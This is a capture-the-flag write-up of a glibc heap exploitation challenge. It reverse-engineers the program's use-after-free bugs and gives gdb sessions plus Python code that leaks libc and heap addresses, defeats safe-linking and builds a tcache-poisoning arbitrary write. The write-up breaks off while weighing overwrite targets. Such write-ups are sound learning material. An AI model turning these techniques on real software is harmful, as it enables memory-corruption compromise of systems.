

Day 8 - Ho Ho Heap!

Heaps of gifts, heaps of fun!

Difficulty: Hard

Challenge Author: Kaligula
nc 52.76.163.244 5555

Category: pwn

Attachments: hohoheap.zip

Running the program on my old 2024 kali,

```
(kali㉿kali) - [~/Desktop/dist]
$ ./hohoheap
===== HO HO HEAP =====
1. Add a gift
2. View a gift
3. Modify a gift
4. Remove a gift
5. Ask Santa to send a gift
6. Spread some Christmas cheer!
7. Exit
=====
Your choice: █
```

Good read on heap: <https://guyinatuxedo.github.io/25-heap/index.html>.

Code review

Opening up the file in ghidra, the program entrypoint calls `__libc_start_main`, which calls the main function `FUN_00101340`.

Navigate to `FUN_00101340`.

From this function, we observe the different menu options. There are also some potential bugs:

- 1. Add new gift

```
// pseudocode
if (num_gifts >= 0x100) {
    puts("Maximum number of gifts reached");
    continue;
}

printf("Gift size: ");
scanf("%ld", &size);
```

```

if (size >= 0x2000) {
    puts("Size too big!");
    continue;
}

void *ptr = malloc(size);
gift_pointers[num_gifts] = ptr;
gift_sizes[num_gifts] = size;
read(0, ptr, size - 1);
num_gifts++;

```

- malloc gift size < 0x2000, but no lower bound (can be 0).
- If I put size 0, the program will do a malloc(0). But later on it also does a read on size - 1. This leads to underflow to a large unsigned value and it tries to read more data than it should.

- 2. View gift

```

// pseudocode
printf("Gift index: ");
scanf("%ld", &idx);

if (idx >= num_gifts) {
    puts("Invalid index");
    continue;
}

void *ptr = gift_pointers[idx];
if (ptr == NULL) {
    puts("Gift does not exist");
    continue;
}

size_t size = gift_sizes[idx];
printf("Gift content: ");
write(1, ptr, size - 1);

```

- Can lead to use-after-free as there is no check if the gift pointer is valid.
- Reads even when freed.

- 3. Modify gift

```

// pseudocode
printf("Gift index: ");
scanf("%ld", &idx);
if (idx >= num_gifts) {
    puts("Invalid index");
    continue;
}

void* ptr = gift_pointers[idx];
if (ptr == NULL) {
    puts("Gift does not exist");
    continue;
}

size_t size = gift_sizes[idx];
printf("Content: ");
read(0, ptr, size - 1);

```

- Can lead to use-after-free as there is no check if the gift pointer is valid.
- Writes even when freed.

- 4. Remove gift

```
// pseudocode
printf("Gift index: ");
scanf("%ld", &idx);
if (idx >= num_gifts) {
    puts("Invalid index");
    continue;
}

void* ptr = gift_pointers[idx];
if (ptr == NULL || gift_counts[idx] != 0) {
    puts("Unable to remove gift");
    continue;
}

// free
free(ptr);
gift_pointers[idx] = NULL; // nulls pointer
gift_sizes[idx] = 0;
gift_counts[idx] = 0;
puts("Success!");
```

- Frees gift pointer and NULL it safely.
- Only can remove if gift_counts[idx] == 0.

- 5. Ask Santa to send gift

```
// pseudocode
printf("Gift index: ");
scanf("%ld", &idx);
printf("How many gifts to give: ");
scanf("%ld", &count);

void* ptr = gift_pointers[idx];
if (ptr == NULL) {
    puts("Gift does not exist");
    continue;
}

gift_counts[idx] += count; // add to count
if (gift_counts[idx] != 0) {
    gift_queue[idx] = ptr; // queue gift
}
```

- Create a queue of gifts

- 6. Spread Christmas cheer

```
// pseudocode
for (int i = 0; i < 0x100; i++) {
    if (gift_queue[i] != 0) {
        printf("Gift %d sent! Merry Christmas!\n", i);
    }
}
```

```

        // uses gift_counts[0] instead of gift_counts[i]
        if (gift_counts[0] == 0) {
            free(gift_queue[i]);    // free chunk
        }

        gift_queue[i] = 0;        // clears queue
    }
}

```

- It iterates through the queued gifts from 0 to 255. For each gift at index i, it checks gift_counts[0] instead of gift_counts[i],
 - If gift_counts[0] == 0, all the queued gifts get freed.
 - Additionally the pointers in gift_pointers[] are not NULLED.
 - Leads to use after free on every freed chunk.
- 7. Exit

```

// pseudocode
puts("Merry Christmas!");
exit(0);

```

Here's what we can do with the bugs found

- We can control gift_counts[0] if we never reset it.
- We can queue any gift by 5. asking Santa to send 1 gift at specified index idx, and 6. spread Christmas cheer.
 - The chunk at the index idx gets freed but the gift_pointers[idx] still points to it.
 - We can still call view(idx) and modify(idx) on the freed chunk (use after free).

Just trying gdb (no symbols)

I tried to do the following with gdb, but segfault-ed

```
LD_LIBRARY_PATH=. gdb -q ./hohoheap
```

```

(kali@kali) - [~/Desktop/dist]
$ LD_LIBRARY_PATH=. gdb -q ./hohoheap
zsh: segmentation fault LD_LIBRARY_PATH=. gdb -q ./hohoheap

```

Using kali 2025.3 instead, to install packages:

```

sudo apt-get update
sudo apt install gdb

```

Using gdb again

```
LD_LIBRARY_PATH=. gdb -q ./hohoheap
```

```
(kali㉿kali)-[~/Desktop]
└─$ LD_LIBRARY_PATH=. gdb -q ./hohoheap
Reading symbols from ./hohoheap ...
(No debugging symbols found in ./hohoheap)
(gdb) █
```

Can't find main_arena

```
(kali㉿kali)-[~/Desktop]
└─$ nm -D hohoheap | grep main_arena
```

Can find __free_hook and system

```
(kali㉿kali)-[~/Desktop]
└─$ nm -D libc.so.6 | grep free_h
000000000001ee1e8 V __free_hook@GLIBC_2.2.5
```

```
(kali㉿kali)-[~/Desktop]
└─$ nm -D libc.so.6 | grep system
00000000000053110 T __libc_system@@GLIBC_PRIVATE
00000000000155550 T svcerr_systemerr@@GLIBC_2.2.5
00000000000053110 W system@@GLIBC_2.2.5
```

Loading libc debug symbols

Get the libc version and md5 hash.

```
(kali㉿kali)-[~/Desktop]
└─$ ldd --version libc.so.6
ldd (Debian GLIBC 2.41-12) 2.41
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

(kali㉿kali)-[~/Desktop]
└─$ md5sum libc.so.6
f688b13e6d1f5845fd77eae4cf2cd040  libc.so.6
```

You can find it on [libc-database](https://libc-database.info/) too if you search for any available symbols like system and its address.

Powered by the [libc-database search API](#)

Search

Symbol name	Address	
system	000000000053110	REMOVE
Symbol name	Address	REMOVE
FIND		

Results

libc6-x32_2.27-3ubuntu1.2_amd64
musl_1.1.16-3_amd64
libc6-x32_2.27-3ubuntu1.2_i386
libc-2.17-7.3.mga3.i586_2
libc6_2.41-6ubuntu2_amd64
[libc6_2.41-9ubuntu1_amd64](#)
libc6_2.41-6ubuntu1.1_amd64
libc6_2.41-12_amd64

Download	Click to download
All Symbols	Click to download
BuildID	def5460e3cee00bfee25b429c97bcc4853e5b3a8
MD5	f688b13e6d1f5845fd77eae4cf2cd040
__libc_start_main_ret	0x29ca8

Build ID def5460e3cee00bfee25b429c97bcc4853e5b3a8

Run this to install the debug symbols for this version of libc.

```
sudo apt-get install libc6-dbg=2.41-12
```

Can load debug symbols now:

```
Your choice: ^C
Program received signal SIGINT, Interrupt.
__internal_syscall_cancel (a1=0, a2=140737353812323, a3=1, a4=a4@entry=0,
a5=a5@entry=0, a6=a6@entry=0, nr=0) at ./nptl/cancellation.c:44
warning: 44      ./nptl/cancellation.c: No such file or directory
(gdb) info addr main_arena
Symbol "main_arena" is static storage at address 0x7ffff7fb0ac0.
```

Get offsets

```
(gdb) info proc mappings
process 465632
Mapped address spaces:

Start Addr      End Addr      Size          Offset        Perms File
0x000055555554000 0x000055555555000 0x1000        0x0           r--p /home/kali/Desktop/dist (2)/hohoheap
0x000055555555000 0x000055555556000 0x1000        0x1000        r-xp /home/kali/Desktop/dist (2)/hohoheap
0x000055555556000 0x000055555557000 0x1000        0x2000        r--p /home/kali/Desktop/dist (2)/hohoheap
0x000055555557000 0x000055555558000 0x1000        0x2000        r--p /home/kali/Desktop/dist (2)/hohoheap
0x000055555558000 0x000055555559000 0x1000        0x3000        rw-p /home/kali/Desktop/dist (2)/hohoheap
0x000055555559000 0x00005555555a000 0x1000        0x0           rw-p 
0x00005555555a000 0x00005555555b000 0x21000       0x0           rw-p [heap]
0x00007ffff7dc6000 0x00007ffff7dc9000 0x3000        0x0           rw-p 
0x00007ffff7dc9000 0x00007ffff7df1000 0x28000       0x0           r--p /home/kali/Desktop/dist (2)/libc.so.6
0x00007ffff7df1000 0x00007ffff7f56000 0x165000     0x28000       r-xp /home/kali/Desktop/dist (2)/libc.so.6
0x00007ffff7f56000 0x00007ffff7fac000 0x56000       0x18d000      r--p /home/kali/Desktop/dist (2)/libc.so.6
0x00007ffff7fac000 0x00007ffff7fb0000 0x4000        0x1e2000      r--p /home/kali/Desktop/dist (2)/libc.so.6
0x00007ffff7fb0000 0x00007ffff7fb2000 0x2000        0x1e6000      rw-p /home/kali/Desktop/dist (2)/libc.so.6
```

Find main_arena address and offset from libc_base.

```
(gdb) set $libc_base=0x00007ffff7dc9000
(gdb) set $main_arena=0x7ffff7fb0ac0 - $libc_base
```

```
(gdb) p/x $main_arena
$2 = 0x1e7ac0
```

- `main_arena` address = `0x7fff7fb0ac0`
- `OFFSET_MAIN_ARENA` = `main_arena - libc_base`
= `0x1e7ac0`

When you free a large chunk, it gets placed into the unsorted bin which is a doubly linked list. If there is only 1 chunk in the bin, the forward pointer `fd` and backward pointer `bk` don't point to another chunk, they point back to the `main_arena` structure in the `libc` library (`main_arena.bins[0]`).

(References: [Unsorted Bin Attack - CTF Wiki](#), [Unsortedbin Attack - Nightmare](#), [OCTF'16: zerostorage - Nightmare](#), [HITCON: magicheap - Nightmare](#).)

Find the unsorted bin address and offset from `libc_base`.

```
(gdb) p &main_arena
$3 = (struct malloc_state *) 0x7fff7fb0ac0 <main_arena>
(gdb) p &main_arena.bins[0]
$4 = (mchunkptr *) 0x7fff7fb0b30 <main_arena+112>
```

- unsorted bin address = `&main_arena.bins[0]`
= `0x7fff7fb0b30`
- `OFFSET_UNSORTED_FD` = `&main_arena.bins[0] - libc_base`
= `0x7fff7fb0b30 - libc_base`
= `0x1e7b30`

Find the distance between unsorted bin and `main_arena`.

- `BINS0_DELTA` = `&main_arena.bins[0] - main_arena`
= `0x7fff7fb0b30 - 0x7fff7fb0ac0`
= `0x70`

If we leak an address from the unsorted bin chunk, the address is pointing back to an address in `main_arena`.

- `leak` = `libc_base + OFFSET_MAIN_ARENA + BINS0_DELTA`
- So, `libc_base` = `leak - (OFFSET_MAIN_ARENA + BINS0_DELTA)`

Find the total distance from `libc_base` to the leak.

- `OFFSET_UNSORTED_FD` = `OFFSET_MAIN_ARENA + BINS0_DELTA`
= `0x1e7ac0 + 0x70`
= `0x1e7b30`

Wah nevermind it's the same thing bc

- `OFFSET_UNSORTED_FD` = `&main_arena.bins[0] - libc_base`
= `OFFSET_MAIN_ARENA + BINS0_DELTA`
= `(main_arena - libc_base) + (&main_arena.bins[0] - main_arena)`
= `0x1e7b30`

Verification ig

```

(gdb) set $libc_base = 0x00007ffff7dc9000
(gdb) set $offset_main_arena = (char *)&main_arena - $libc_base
(gdb) set $offset_unsorted_fd = (char *)&main_arena.bins[0] - (char *)$libc_base
(gdb) set $bins0_delta = (char *)&main_arena.bins[0] - (char *)&main_arena
(gdb)
(gdb) p/x $libc_base
$24 = 0x7ffff7dc9000
(gdb) p/x $offset_main_arena
$25 = 0x1e7ac0
(gdb) p/x $offset_unsorted_fd
$26 = 0x1e7b30
(gdb) p/x $bins0_delta
$27 = 0x70
(gdb) █

```

- OFFSET_MAIN_ARENA = 0x1e7ac0
- OFFSET_UNSORTED_FD = 0x1e7b30

Leaking libc base

(Still in gdb) The plan is to

- 1. add a gift of size 0

```

===== HO HO HEAP =====
1. Add a gift
2. View a gift
3. Modify a gift
4. Remove a gift
5. Ask Santa to send a gift
6. Spread some Christmas cheer!
7. Exit

Your choice: 1
Gift size: 0
Content: Success!

```

- 1. add a large gift

```

===== HO HO HEAP =====
1. Add a gift
2. View a gift
3. Modify a gift
4. Remove a gift
5. Ask Santa to send a gift
6. Spread some Christmas cheer!
7. Exit

Your choice: 1
Gift size: 1280
Content: AAAAA
Success!

```


- 1. add another large gift

```
===== HO HO HEAP =====  
1. Add a gift  
2. View a gift  
3. Modify a gift  
4. Remove a gift  
5. Ask Santa to send a gift  
6. Spread some Christmas cheer!  
7. Exit  
=====
```

Your choice: 1
Gift size: 1280
Content: BBBB
Success!

- 5. ask to send gift index 1

```
===== HO HO HEAP =====  
1. Add a gift  
2. View a gift  
3. Modify a gift  
4. Remove a gift  
5. Ask Santa to send a gift  
6. Spread some Christmas cheer!  
7. Exit  
=====
```

Your choice: 5
Gift index: 1
How many gifts to give: 1
Gifts given!

- 6. spread Christmas cheer

```
===== HO HO HEAP =====  
1. Add a gift  
2. View a gift  
3. Modify a gift  
4. Remove a gift  
5. Ask Santa to send a gift  
6. Spread some Christmas cheer!  
7. Exit  
=====
```

Your choice: 6
Gift 1 sent! Merry Christmas!

At the next input, Ctrl-C to interrupt. Then find the libc base and heap address.

```

Your choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7e58687 in ?? () from ./libc.so.6
(gdb) info proc mappings
process 5196
Mapped address spaces:

Start Addr      End Addr      Size          Offset        Perms File
0x000055555554000 0x000055555555000 0x1000        0x0           r--p /home/kali/Desktop/dist/hohoheap
0x000055555555000 0x000055555556000 0x1000        0x1000        r-xp /home/kali/Desktop/dist/hohoheap
0x000055555556000 0x000055555557000 0x1000        0x2000        r--p /home/kali/Desktop/dist/hohoheap
0x000055555557000 0x000055555558000 0x1000        0x2000        r--p /home/kali/Desktop/dist/hohoheap
0x000055555558000 0x000055555559000 0x1000        0x3000        rw-p /home/kali/Desktop/dist/hohoheap
0x000055555559000 0x00005555555a000 0x1000        0x0           rw-p [heap]
0x00005555555a000 0x00005555555b000 0x21000       0x0           rw-p [heap]
0x00007ffff7dc6000 0x00007ffff7dc9000 0x3000        0x0           rw-p
0x00007ffff7dc9000 0x00007ffff7df1000 0x28000       0x0           r--p /home/kali/Desktop/dist/libc.so.6
0x00007ffff7df1000 0x00007ffff7f56000 0x165000      0x28000       r-xp /home/kali/Desktop/dist/libc.so.6
0x00007ffff7f56000 0x00007ffff7fac000 0x56000       0x18d000      r--p /home/kali/Desktop/dist/libc.so.6
0x00007ffff7fac000 0x00007ffff7fb0000 0x4000        0x1e2000      r--p /home/kali/Desktop/dist/libc.so.6
0x00007ffff7fb0000 0x00007ffff7fb2000 0x2000        0x1e6000      rw-p /home/kali/Desktop/dist/libc.so.6
0x00007ffff7fb2000 0x00007ffff7fc1000 0xf000        0x0           rw-p
0x00007ffff7fc1000 0x00007ffff7fc5000 0x4000        0x0           r--p [vvar]
0x00007ffff7fc5000 0x00007ffff7fc7000 0x2000        0x0           r-xp [vdso]
0x00007ffff7fc7000 0x00007ffff7fc8000 0x1000        0x0           r--p /usr/lib/x86_64-linux-gnu/ld-linux-x8
6-64.so.2
0x00007ffff7fc8000 0x00007ffff7ff0000 0x28000       0x1000        r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x8
6-64.so.2
0x00007ffff7ff0000 0x00007ffff7ffb000 0xb000        0x29000       r--p /usr/lib/x86_64-linux-gnu/ld-linux-x8
6-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x2000        0x34000       r--p /usr/lib/x86_64-linux-gnu/ld-linux-x8
6-64.so.2
0x00007ffff7ffd000 0x00007ffff7ffe000 0x1000        0x36000       rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x8
6-64.so.2
0x00007ffff7ffe000 0x00007ffff7fff000 0x1000        0x0           rw-p
0x00007ffff7fff000 0x00007ffff7fff000 0x21000       0x0           rw-p [stack]

```

- libc base: 0x00007ffff7dc9000
- heap: 0x000055555555a000

Inspect heap

```

(gdb) x/100gx 0x000055555555a000
0x55555555a000: 0x0000000000000000 0x0000000000000291
0x55555555a010: 0x0000000000000000 0x0000000000000000
0x55555555a020: 0x0000000000000000 0x0000000000000000
0x55555555a030: 0x0000000000000000 0x0000000000000000
0x55555555a040: 0x0000000000000000 0x0000000000000000

```

...

```

0x55555555a280: 0x0000000000000000 0x0000000000000000
0x55555555a290: 0x0000000000000000 0x0000000000000021
0x55555555a2a0: 0x0000000000000000 0x0000000000000000
0x55555555a2b0: 0x0000000000000000 0x0000000000000511
0x55555555a2c0: 0x00007ffff7fb0b20 0x00007ffff7fb0b20
0x55555555a2d0: 0x0000000000000000 0x0000000000000000
0x55555555a2e0: 0x0000000000000000 0x0000000000000000

```

- At 0x55555555a2c0, first qword = fd (points into libc), second qword = bk (same for a single-node unsorted bin).
- fd=0x00007ffff7fb0b20

Inspect main_arena

```
(gdb) x/40gx &main_arena
0x7ffff7fb0ac0 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7fb0ad0 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7fb0ae0 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7fb0af0 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7fb0b00 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7fb0b10 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7fb0b20 <main_arena+96>: 0x0000555555555555 0x0000000000000000
0x7ffff7fb0b30 <main_arena+112>: 0x0000555555555555 0x0000555555555555
0x7ffff7fb0b40 <main_arena+128>: 0x00007ffff7fb0b30 0x00007ffff7fb0b30
0x7ffff7fb0b50 <main_arena+144>: 0x00007ffff7fb0b40 0x00007ffff7fb0b40
0x7ffff7fb0b60 <main_arena+160>: 0x00007ffff7fb0b50 0x00007ffff7fb0b50
0x7ffff7fb0b70 <main_arena+176>: 0x00007ffff7fb0b60 0x00007ffff7fb0b60
0x7ffff7fb0b80 <main_arena+192>: 0x00007ffff7fb0b70 0x00007ffff7fb0b70
0x7ffff7fb0b90 <main_arena+208>: 0x00007ffff7fb0b80 0x00007ffff7fb0b80
0x7ffff7fb0ba0 <main_arena+224>: 0x00007ffff7fb0b90 0x00007ffff7fb0b90
0x7ffff7fb0bb0 <main_arena+240>: 0x00007ffff7fb0ba0 0x00007ffff7fb0ba0
0x7ffff7fb0bc0 <main_arena+256>: 0x00007ffff7fb0bb0 0x00007ffff7fb0bb0
0x7ffff7fb0bd0 <main_arena+272>: 0x00007ffff7fb0bc0 0x00007ffff7fb0bc0
0x7ffff7fb0be0 <main_arena+288>: 0x00007ffff7fb0bd0 0x00007ffff7fb0bd0
0x7ffff7fb0bf0 <main_arena+304>: 0x00007ffff7fb0be0 0x00007ffff7fb0be0
```

- The freed chunk pointer 0x00007ffff7fb0b20 is at main_arena+96, aka main_arena+0x60.

So my OFFSET_UNSORTED_FD and the BINS0_DELTA are all off by 0x10, so -0x10 for both. Hence,

- OFFSET_UNSORTED_FD = 0x1e7b30 - 0x10
= 0x1e7b20

Also proven here

```
(gdb) set $fd = 0x00007ffff7fb0b20
(gdb) set $libc_base = 0x00007ffff7dc9000
(gdb) p/x $fd - $libc_base
$4 = 0x1e7b20
(gdb) █
```

To get this by code

```
# 0: dummy chunk to keep gift_counts[0] == 0 for the bug
add(0, b'\n') # idx 0

# 1: large chunk to go to unsorted bin when freed
add(1280, b'A'*8 + b'\n') # idx 1

# 2: chunk to control
add(0x100, b'B'*8 + b'\n') # idx 2

# free idx 1 into unsorted bin using the bug
give(1, 1) # queue gift idx 1
cheer() # free gift idx 1
```

```
# read fd pointer from freed chunk
leak_bytes = view(1)
unsorted_fd = u64(leak_bytes[:8].ljust(8, b'\x00'))

libc_base = unsorted_fd - OFFSET_UNSORTED_FD
print("libc_base: ", hex(libc_base))
```

Leaking safe-linking key

In glibc version 2.32, tcache and fastbin pointers are protected by safe-linking.

- “Every single fd pointer is protected by the PROTECT_PTR macro, which is undone by the REVEAL_PTR macro”. (reference: [Safe Linking | Cybersecurity Notes](#))

So when storing a pointer in fd

```
enc = target ^ (chunk >> 12)
```

And when reading it

```
target = enc ^ (chunk >> 12)
```

When a chunk is the only entry in a tcache bin, its fd should point to NULL.

But with safe-linking, $fd = NULL \oplus (chunk \gg 12) = chunk \gg 12$.

Hence we should be able to leak $(chunk \gg 12)$.

Continue on from our previous code

```
# 0: dummy chunk to keep gift_counts[0] == 0 for the bug
add(0, b'\n') # idx 0

# 1: large chunk to go to unsorted bin when freed
add(1280, b'A'*8 + b'\n') # idx 1

# 2: chunk to control
ctrl = add(0x100, b'B'*8 + b'\n') # idx 2

# free idx 1 into unsorted bin using the bug
give(1, 1) # queue gift idx 1
cheer() # free gift idx 1

# read fd pointer from freed chunk
leak_bytes = view(1)
unsorted_fd = u64(leak_bytes[:8].ljust(8, b'\x00'))

libc_base = unsorted_fd - OFFSET_UNSORTED_FD
print("libc_base: ", hex(libc_base))
print("unsorted_fd: ", hex(unsorted_fd))

bug_santa_cheer(ctrl) # puts the chunk into tcache (via queue/free bug)
```

```
# safe-linking key leak (fd = chunk >> 12)
key = u64(view(ctrl)[:8].ljust(8, b"\x00")) # read the freed chunk's first qword
while still_freed
print("[*] safe-link key:", hex(key))

gdb.attach(io)
pause()
```

To verify this, I attached gdb to the process

```
> python test.py
[+] Starting local process './hohoheap': pid 474858
libc_base: 0x7fb0870b9000
unsorted_fd: 0x7fb0872a0b20
[*] safe-link key: 0x55fdbaccf
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hohoheap', '-p', '474858']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
```

chunk >> 12 matches the leaked safe-linking key

```
warning: 44      ./nptl/cancellation.c: No such file or directory
(gdb) x/40gx &main_arena
0x7fb0872a0ac0 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7fb0872a0ad0 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7fb0872a0ae0 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7fb0872a0af0 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7fb0872a0b00 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7fb0872a0b10 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7fb0872a0b20 <main_arena+96>: 0x000055fdbaccf8d0 0x0000000000000000
0x7fb0872a0b30 <main_arena+112>: 0x000055fdbaccf2b0 0x000055fdbaccf2b0
0x7fb0872a0b40 <main_arena+128>: 0x00007fb0872a0b30 0x00007fb0872a0b30
0x7fb0872a0b50 <main_arena+144>: 0x00007fb0872a0b40 0x00007fb0872a0b40
0x7fb0872a0b60 <main_arena+160>: 0x00007fb0872a0b50 0x00007fb0872a0b50
0x7fb0872a0b70 <main_arena+176>: 0x00007fb0872a0b60 0x00007fb0872a0b60
0x7fb0872a0b80 <main_arena+192>: 0x00007fb0872a0b70 0x00007fb0872a0b70
0x7fb0872a0b90 <main_arena+208>: 0x00007fb0872a0b80 0x00007fb0872a0b80
0x7fb0872a0ba0 <main_arena+224>: 0x00007fb0872a0b90 0x00007fb0872a0b90
0x7fb0872a0bb0 <main_arena+240>: 0x00007fb0872a0ba0 0x00007fb0872a0ba0
0x7fb0872a0bc0 <main_arena+256>: 0x00007fb0872a0bb0 0x00007fb0872a0bb0
0x7fb0872a0bd0 <main_arena+272>: 0x00007fb0872a0bc0 0x00007fb0872a0bc0
0x7fb0872a0be0 <main_arena+288>: 0x00007fb0872a0bd0 0x00007fb0872a0bd0
0x7fb0872a0bf0 <main_arena+304>: 0x00007fb0872a0be0 0x00007fb0872a0be0
(gdb) p/x 0x000055fdbaccf8d0 >> 12
$1 = 0x55fdbaccf
```

With this safe-linking key, we can now encode or decode pointers. We still need the full addresses for our fake structures though.

Recovering full heap address

Here's what we need to do next:

- Allocate 2 chunks A, B
- Get safe-linking leaks
 - Free A to get (A >> 12).
 - Free B, then tcache would have B->A, and we get enc = A ^ (B >> 12).
- malloc twice to get back B then A.
- Free B again to get (B >> 12).
- Compute full addr of A = enc ^ (B >> 12).

```
def alloc_pair_and_recover_full(size, dataA=b'A', dataB=b'B'):
    # allocate two chunks
    idxA = add(size, dataA, pad=False)
    idxB = add(size, dataB, pad=False)

    # free A (single node in tcache)
    bug_santa_cheer(idxA)
    A12 = u64(view(idxA)[:8].ljust(8, b"\x00")) # A >> 12

    # free B (now tcache has B -> A)
    bug_santa_cheer(idxB)
    enc = u64(view(idxB)[:8].ljust(8, b"\x00")) # enc = A ^ (B >> 12)

    # allocate twice to get B, then A back
    popB = add(size, b"POPB", pad=False) # returns B
    popA = add(size, b"POPA", pad=False) # returns A

    # free B again to get B >> 12
    bug_santa_cheer(popB)
    B12 = u64(view(popB)[:8].ljust(8, b"\x00")) # B >> 12

    # get A:
    # enc = A_full ^ B12
    # So: A_full = enc ^ B12
    A_full = enc ^ B12

    # verify
    if (A_full >> 12) != A12:
        log.warning("Heap address recovery mismatch!")

    return popA, A_full
...
# recover heap address
wd_idx, addr_wd = alloc_pair_and_recover_full(0x200, b"WIDEA", b"WIDEB")
print(f"[+] heap addr: {hex(addr_wd)}")
```

Output

```
> python test.py
[+] Starting local process './hohoheap': pid 497026
libc_base: 0x7f7217209000
unsorted_fd: 0x7f72173f0b20
```

```
[*] safe-link key: 0x560eb80d2
[+] heap addr: 0x560eb80d22c0
[*] running in new terminal: ['/usr/bin/gdb', '-q', './hohoheap', '-p', '497026']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
```

Heap address matches

```
warning: 44      ./nptl/cancellation.c: No such file or directory
(gdb) info proc mappings
process 497026
Mapped address spaces:

Start Addr      End Addr       Size           Offset          Perms File
-----
0x0000560e835fe000 0x0000560e835ff000 0x1000         0x0             r--p /home/kali/Desktop/hohoheap
0x0000560e835ff000 0x0000560e83600000 0x1000         0x1000          r-xp /home/kali/Desktop/hohoheap
0x0000560e83600000 0x0000560e83601000 0x1000         0x2000          r--p /home/kali/Desktop/hohoheap
0x0000560e83601000 0x0000560e83602000 0x1000         0x2000          r--p /home/kali/Desktop/hohoheap
0x0000560e83602000 0x0000560e83603000 0x1000         0x3000          rw-p /home/kali/Desktop/hohoheap
0x0000560e83603000 0x0000560e83604000 0x1000         0x0             rw-p
0x0000560eb80d2000 0x0000560eb80f3000 0x21000        0x0             rw-p [heap]
0x00007f7217206000 0x00007f7217209000 0x3000         0x0             rw-p
0x00007f7217209000 0x00007f7217231000 0x28000        0x0             r--p /home/kali
```

Exploit

Now we can

- Do use-after free to view and modify freed chunk contents,
- Obtain libc_base,
- Obtain safe-linking key,
- Encode / decode pointers with the safe-linking key,
- Control tcache chunk,
- Obtain full heap address.

We need to use the controlled tcache chunk and be able to repeatedly free and reallocate it.

We can use it to poison tcache fd pointers by freeing it, modifying its fd then allocating it.

```
# keep track of control chunk state
control_idx = ctrl      # the chunk we allocated earlier (idx 2)
control_free = True     # track if currently freed

# reclaim it first (so we have a live handle)
reclaimed = add(0x100, b"RECL", pad=False)
control_free = False
print(f"control chunk: idx={ctrl}, reclaimed as idx={reclaimed}")
```

The tcache poisoning would work like this:

Initial:

- tcache: padding -> control -> NULL

After modify(control, target ^ key):

- tcache: padding -> control -> target

After malloc once:

- tcache: control -> target (returns padding)

After malloc twice:

- tcache: target -> ? (returns control)

After malloc thrice:

- tcache: ? -> ? (returns target <- we can write here)

We can build the allocation primitive and a helper to write to arbitrary addresses:

```
padding_counter = 0

def add_padding_chunk():
    # Add noise to tcache bin (ensures proper tcache state)
    global padding_counter
    pad_idx = add(0x100, f"PAD{padding_counter}".encode(), pad=False)
    padding_counter += 1
    bug_santa_cheer(pad_idx)
    return pad_idx

def free_control():
    # Free the control chunk if not already freed
    global control_free
    if control_free:
        return # already freed
    bug_santa_cheer(control_idx)
    control_free = True

def malloc_at(target, content=b"\x00"):
    """
    Allocate a chunk at arbitrary address 'target'

    1. Add padding chunk to tcache (ensures tcache has >1 entry)
    2. Free control chunk (adds it to tcache)
    3. Modify control chunk's fd to point to (target ^ key)
    4. Malloc once -> returns control chunk
    5. Malloc twice -> returns target address!

    Returns: (reclaim_idx, target_idx)
    """
    global control_free

    # 1. Add padding to tcache
    add_padding_chunk()
```



```

# 2. Free control chunk into tcache
free_control()

# 3. Poison the fd pointer
# tcache fd format: fd_encoded = target ^ (chunk_addr >> 12)
modify(control_idx, p64(target ^ key))

# 4. First allocation returns control chunk
reclaim_idx = add(0x100, b"H" * 8, pad=False)

# 5. Second allocation returns our target address!
target_idx = add(0x100, content, pad=False)

control_free = False
log.info(f"malloc@{hex(target)} -> idx{target_idx}")

return reclaim_idx, target_idx

def write_any(addr, data):
    """
    Write data to arbitrary address (handles alignment)

    tcache requires 16-byte alignment, so we:
    1. Align address down to nearest 16-byte boundary
    2. Calculate offset from aligned base
    3. Prepend padding to data to reach target offset

    Example:
    write_any(0x1234, b"ABCD")
    -> Aligns to 0x1230
    -> Writes: [4 bytes padding] + "ABCD"
    """
    base = addr & ~0xF          # Align down to 16 bytes
    off = addr - base           # Offset from aligned base
    payload = b"\x00" * off + data
    malloc_at(base, content=payload)

```

Now that we have an arbitrary write, we can choose what to overwrite...

- We can make use of function hooks but
 - In glibc version 2.34, the easy targets for heap exploitation: `__malloc_hook`, `__free_hook` and `__realloc_hook` were removed. (reference: [CTFtime.org / Aero CTF 2022 / heap-2022 / Writeup](https://ctftime.org/writeup/14444)).
- I tried using `__exit_funcs` like in the writeup from the above link but it did not work. Furthermore it was more complicated with encrypted pointers and need to leak the encryption key, likely there was something wrong with that. (Thinking back maybe it's bc I used `"/bin/sh"` then, but I already reverted my VM)
- I also tried GOT overwrite to `free@GOT`, but I forgot to check if the `hohoheap` file was Full RELRO...
 - "Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is

overwritten with the location of another function or a ROP gadget an attacker wants to run.” (reference: [Relocation Read-Only \(RELRO\) - CTF Handbook](#))

```
(kali㉿kali)-[~/Desktop]
$ checksec --file=hohoheap
[*] '/home/kali/Desktop/hohoheap'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
```

I came across another technique FSOP here [CTFtime.org / ImaginaryCTF 2023 / mailman / Writeup](#).

Read up more here:

- [FSOP - CTF Wiki EN](#)
